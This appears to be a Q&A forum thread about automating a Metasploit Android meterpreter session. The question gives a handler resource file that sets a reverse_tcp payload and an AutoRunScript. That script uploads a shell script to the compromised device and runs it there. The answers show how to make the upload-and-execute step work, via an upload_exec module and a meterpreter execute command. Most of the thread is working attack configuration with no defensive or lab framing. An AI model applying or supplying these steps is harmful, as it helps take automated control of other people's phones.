1

I try to make a Metasploit AutoRunScript for android. The First .rc file has this config

use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST xxx.xxx.xxx.xxx (my IP)
set LPORT 4545
set AutoRunScript multi_console_command -r /root/Desktop/commands.rc
exploit -j -z

This is the second .rc file (commands.rc)

upload /root/Desktop/and.sh /data/data/com.metasploit.stage/files
shell
cd /data/data/com.metasploit.stage/files 
sh and.sh
exit

The problem is after the shell command is executed the sh and.sh and the exit commands are not executed. If I type manually the sh and.sh and the exit commands it's working. The question is how can I make this commands to be executed? Any suggestions are welcome and appreciated!

0

Apart from the standarduser's answer, you can use post/multi/manage/upload_exec to automatically upload and execute the binary on remote machines. This module can work both with meterpreter as well as shell payloads.

0

It's possible the shell is getting stuck once it gets dropped down.

Try running your command via the built in meterpreter shell command.

execute -i -f "/bin/bash /data/data/com.metasploit.stage/files/and.sh"

I have not tested this exact command with a space in it, but it will start you in the right direction.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.